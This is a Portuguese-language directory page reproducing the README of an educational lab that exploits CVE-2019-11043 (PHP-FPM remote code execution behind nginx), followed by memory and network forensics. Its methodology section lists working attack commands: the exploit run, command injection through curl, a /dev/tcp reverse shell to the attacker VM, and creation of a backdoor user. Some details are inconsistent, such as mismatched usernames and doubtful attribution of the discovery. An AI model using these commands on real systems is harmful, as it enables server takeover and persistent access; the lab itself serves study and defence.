Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-11043-Vulnerability — Laboratório prático reproduzindo CVE-2019-11043 PHP-FPM RCE por trás de nginx, demonstrando persistência por túnel reverso, forense de memória e análise de tráfego de rede. | Kitploit
Ferramentas/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
Forensia de MemóriaMecanismos de PersistênciaAnálise de VulnerabilidadesExploraçãoForensia de RedeExploração de Aplicações WebTestes de PenetraçãoConfiguração IncorretaAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Red Teaming
Labs e Prática
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

Laboratório prático reproduzindo CVE-2019-11043 PHP-FPM RCE por trás de nginx, demonstrando persistência por túnel reverso, forense de memória e análise de tráfego de rede.

Ver Repositório
7há 9 mesesAinda não revisado

Colaboradores: Olaf Madejski, Andrew Masone, Nate Desany

Demonstração de Exploração e Persistência com Túnel Reverso em PHP-FPM

CVE-2019-11043 — Vulnerabilidade no Tratamento de Caminho do PHP-FPM da Debian


Visão Geral do Projeto

Em outubro de 2019, os pesquisadores do Debian Security Advisory Emil Lerner e Andrew Danau publicaram um aviso alertando a comunidade Debian sobre uma vulnerabilidade crítica no PHP-FPM. Devido à validação insuficiente no código de tratamento de caminho do PHP-FPM, atacantes poderiam manipular requisições especialmente elaboradas para alcançar execução remota arbitrária de código sob determinadas configurações de NGINX + PHP-FPM.

Este laboratório demonstra a exploração de:

CVE-2019-11043

Uma vulnerabilidade que afeta o PHP-FPM executado atrás do NGINX que, quando acionada, pode permitir que atacantes executem código arbitrário e estabeleçam persistência por meio de tunelamento reverso.

O projeto recria um ambiente vulnerável, executa a cadeia de exploração e avalia como adversários alcançam persistência por meio de técnicas de tunelamento em cenários do mundo real.


Índice

Config

  • Contém o arquivo index.php que serve como arquivo de índice para o container docker.
  • Contém a configuração padrão corrigida para nginx e uso de php-fpm.
  • Contém a configuração padrão vulnerável para nginx e uso de php-fpm.

Disk_Images

  • Contém um arquivo de texto que aponta para o Google Drive com 2 arquivos zip da imagem de disco de ambas as máquinas virtuais, o host (Home) e o Atacante.

Screenshots

  • Pasta contendo capturas de tela ao longo do laboratório, também incluídas no readme.

Supplemental Material

  • README das 2 ferramentas usadas para o exploit, bem como o arquivo docker compose para a imagem docker.

LogFiles

  • Arquivos de log da máquina do atacante e da máquina Host (Home).
  • Esses arquivos incluem logs .pcap divididos para facilitar o uso.
  • Um link para o despejo de memória, importante porque o exploit usa inerentemente um estouro de memória.
  • logs de access, auth, error, faillog, fulllog.zip (logs do journalctl), history, php7.3-fpm (para fins de correção da vulnerabilidade), syslog e term.

README.md

  • Arquivo readme que você está lendo agora.

Relevância do Projeto

Vetor de Ataque

Esta cadeia de ataque está diretamente alinhada com várias técnicas de alto impacto da MITRE ATT&CK:

Por Que Isso Importa Hoje

O tunelamento reverso para persistência é um TTP de alta frequência (Tática, Técnica, Procedimento) usado por grupos APT, botnets e operadores de ransomware. O PHP-FPM continua amplamente implantado em ambientes de produção, e as más configurações exploradas pela CVE-2019-11043 ainda são observadas na natureza.

Não se trata de abstrações teóricas — elas refletem exatamente os comportamentos documentados em campanhas ativas de exploração envolvendo atores estatais e grupos de ransomware.

Mesmo que a CVE-2019-11043 tenha vários anos, a vulnerabilidade continua relevante devido às seguintes realidades modernas de segurança:

  • Aplicações PHP legadas ainda estão em toda parte. Muitas organizações continuam executando pilhas desatualizadas de PHP 5.x/7.x devido a dependências de aplicações web de longo prazo, dívida técnica ou medo de quebrar sistemas em produção. Esses ambientes muitas vezes permanecem sem correção e vulneráveis.

  • NGINX + PHP-FPM é uma das arquiteturas de hospedagem mais comuns do mundo. Isso torna as vulnerabilidades no PHP-FPM extremamente atraentes para atacantes que procuram superfícies de exploração grandes e duradouras.

  • O tunelamento reverso é uma técnica central de persistência em ameaças modernas. Grupos como Lazarus, APT29, FIN11 e numerosos operadores de ransomware usam túneis SSH reversos, túneis WebSocket e até reverse shells baseadas em PHP para manter acesso de longo prazo sem depender de portas de entrada expostas.

  • As más configurações continuam sendo a causa nº 1 de violações. Mesmo quando existem correções, blocos “location” do NGINX mal configurados e variáveis PATH_INFO mal validadas continuam expondo ambientes à exploração.

  • Kits de automação de exploits ainda têm como alvo esta CVE. Ferramentas como scanners automatizados, botnets e malware de IoT sondam rotineiramente configurações vulneráveis de PHP-FPM porque o exploit resulta em execução confiável de código.

  • Os ambientes de nuvem estão expandindo a superfície de ataque. Contêineres mal protegidos, configurações de hospedagem compartilhada e imagens base Docker desatualizadas frequentemente contêm versões sem correção do PHP-FPM, levando a movimentação lateral rápida dentro de redes em nuvem.

  • Os atacantes adoram "fruta fácil". Uma vulnerabilidade que permite execução remota de código + persistência baseada em túnel com o mínimo de habilidade exigida sempre permanecerá um alvo de alto valor.

No atual cenário de ameaças, onde acesso persistente, tunelamento furtivo e fraquezas na cadeia de suprimentos dominam as manchetes de segurança cibernética, entender e demonstrar como a CVE-2019-11043 é explorada fornece uma visão crítica sobre os padrões modernos de ataque e lacunas defensivas.


Metodologia

Ambiente

O objetivo deste laboratório foi simular uma exploração no mundo real da CVE-2019-11043, uma vulnerabilidade crítica de execução remota de código que afeta o PHP-FPM atrás do nginx em determinadas configurações. A meta foi analisar a vulnerabilidade, reproduzir o exploit em um ambiente virtual controlado e demonstrar os riscos associados à infraestrutura web mal configurada.

Duas máquinas virtuais foram usadas: ambas com nome de usuário username e senha password.

FunçãoMáquinaEndereço IPFinalidade
Alvo / VítimaUbuntu Server192.168.56.102Servidor PHP-FPM vulnerável executando CVE-2019-11043
AtacanteUbuntu Server192.168.56.103Executa exploit, reverse shell e persistência

Comandos para a configuração do host:

Atualize o apt

root@kitploit:~
sudo apt update && sudo apt -y upgrade

Criando o container para o exploit da vulnerabilidade.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

Comandos para a configuração do alvo:

Atualize o Apt e instale php, python e pacotes básicos adicionais

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

Baixa uma ferramenta para explorar a CVE em questão e move o terminal para compilar o exploit.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

Comandos para atacar o alvo:

A partir daqui a configuração está completa; por exemplo, o que você pode fazer primeiro:

  1. Em um terminal (terminal 1), execute:

    root@kitploit:~
    nc -lvnp 4444
    

Isso configura um canal de escuta e habilita a reverse shell; deve permanecer sempre em escuta, pois permite os comandos adiante em um experimento teórico.

  1. Em outro terminal (terminal 2), execute:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

Isso deve exibir linhas confirmando que você explorou a vulnerabilidade com sucesso.

Por fim, abra um terminal final, adicional (terminal 3).

Imediatamente você pode começar a testar a funcionalidade do exploit executando:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

Isso cria um comando remoto baseado na web e exibe a saída de id. No entanto, como mostra a captura de tela abaixo, devido ao estouro de memória, há momentos em que o comando pode funcionar ou não; frequentemente, comandos menores têm mais chance de funcionar.

Qualquer comando pode, teoricamente, ser executado aqui; ele precisaria ser colocado onde o comando abaixo indica HERE, porém as chances de um comando completo ser executado podem variar.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

Este comando lê o conteúdo dentro do shell

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

Em um exemplo do mundo real, esse comando, feito por um ator de ameaça, criaria uma nova conta e criaria a senha password dentro das aspas

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

Este comando cria uma reverse shell; no entanto, isso é uma prova de conceito e difícil de criar porque o PHP-FPM periodicamente encerra e recria os processos workers.

Quando o worker corrompido morre, as modificações injetadas no php.ini morrem junto.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

A partir daqui, um atacante provavelmente usaria uma tarefa agendada; neste exemplo, CRON, já que o servidor está em Linux, e isso equivale aos processos de inicialização do Windows.


Resultados

O laboratório reproduziu com sucesso a CVE-2019-11043 em um ambiente controlado e demonstrou como uma configuração incorreta de nginx + PHP-FPM pode ser explorada remotamente. Usando a configuração vulnerável fastcgi_split_path_info baseada em regex, a máquina do atacante conseguiu forçar o PHP-FPM a um estado inconsistente, alcançando, em última instância, execução arbitrária de código. Além disso, foi realizada a extração de arquivos de log de um servidor remoto de vários sistemas e a análise de logs conhecidos por estarem relacionados a essa vulnerabilidade.

Uma vez acionada a vulnerabilidade, o atacante obteria execução remota de comandos no alvo e seria capaz de interagir com o sistema como usuário local. O servidor web comprometido aceitava comandos, executava-os e retornava a saída — confirmando uma reverse shell totalmente funcional. Isso confirmou que a CVE permanece confiavelmente explorável quando combinada com a configuração vulnerável de divisão de caminho do nginx e as versões afetadas do PHP-FPM.

O ambiente se comportou de forma consistente com o comportamento de exploit documentado. Comandos como whoami, id, ls e echo foram executados com sucesso, enquanto comandos mais complexos ou interativos demonstraram a instabilidade do processo worker do PHP-FPM explorado — um dos efeitos conhecidos dessa vulnerabilidade.

Como dito, devido à volatilidade da vulnerabilidade, ora sendo suscetível, ora não, há momentos em que funcionará e momentos em que não; é aconselhável criar scripts com comandos em loop.

Esta vulnerabilidade explora uma CVE diretamente relacionada a um problema de estouro de memória e buffer; por isso é importante examinar a memória da máquina host e analisá-la com o Volatility.

Para este laboratório, analisamos os principais logs relacionados a essa vulnerabilidade: Memória e Captura de Rede.

A captura de rede mostra os comandos que estão sendo tentados executar na máquina host. Eles incluem o próprio comando e vários caracteres anexados ao final da URL do comando HTTP GET enviado ao servidor, que, por sua vez, causam um estouro de memória.

Além disso, você pode ver em texto claro o comando executado, neste exemplo inofensivo, para baixar uma imagem de um cachorro feliz do Google Imagens, bem como o comando real com 'texto humorístico' do criador do repositório PHuip no GitHub.

A captura de memória, analisada pelo Volatility e reunida em um arquivo .json, mostra processos frequentes com o mesmo nome executados várias vezes seguidas, indicando falhas e novas execuções.

Isso acontece porque o erro de estouro de memória é o problema raiz relacionado a essa vulnerabilidade. Um usuário pode repetir um comando com algo como um script bash: while true; do curl "command" sleep 0.01, executando comandos várias vezes por segundo para tentar furar a barreira e obter a execução remota de código.

Pontos-Chave

No geral, o projeto validou os seguintes pontos:

  • A regex vulnerável do nginx é suficiente para expor o PHP-FPM à execução remota de código.

  • O PHP-FPM 8.1 (quando configurado dessa maneira) ainda é explorável sob as condições da CVE-2019-11043.

  • Um atacante remoto pode obter execução significativa de comandos, permitindo manipulação de arquivos, exfiltração de dados e possível escalonamento de privilégios.

  • Más configurações em ambientes reverse-proxy / FastCGI representam uma superfície de ataque de alto impacto, especialmente quando combinadas com endpoints de upload acessíveis publicamente ou páginas phpinfo().

Os resultados reforçam o quão crítica é a configuração adequada do FastCGI e destacam a necessidade de padrões seguros, auditorias rotineiras de configuração e exposição mínima de endpoints de diagnóstico em ambientes de produção.


Conclusão

A exploração da CVE-2019-11043 demonstra como uma única má configuração no PHP-FPM e no NGINX pode levar à tomada do servidor e ao acesso persistente do adversário.
A equipe do Debian Security Advisory confirmou que atualizar o php7.0 para a versão 7.0.33 ou posterior corrige completamente essa vulnerabilidade.

Aplicar correções adequadas, configurações endurecidas do NGINX e monitoramento de comportamentos de tunelamento são fundamentais para prevenir ataques semelhantes em ambientes modernos.


Referências

  • Detalhes da CVE – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • Registro da CVE – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • Aviso de Segurança da Debian – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • Repositório Docker da Vulnerabilidade - https://github.com/vulhub/vulhub/tree/master
  • Ferramenta Usada para Explorar a Vulnerabilidade - https://github.com/neex/phuip-fpizdam

Baixar ferramenta
MITRE IDTechnique Name
T1071Application Layer Tunneling
T1572Protocol Tunneling
T1090Proxy / Reverse Proxy
T1505Server-Side Components (PHP-FPM)
T1574Hijacking Execution Flow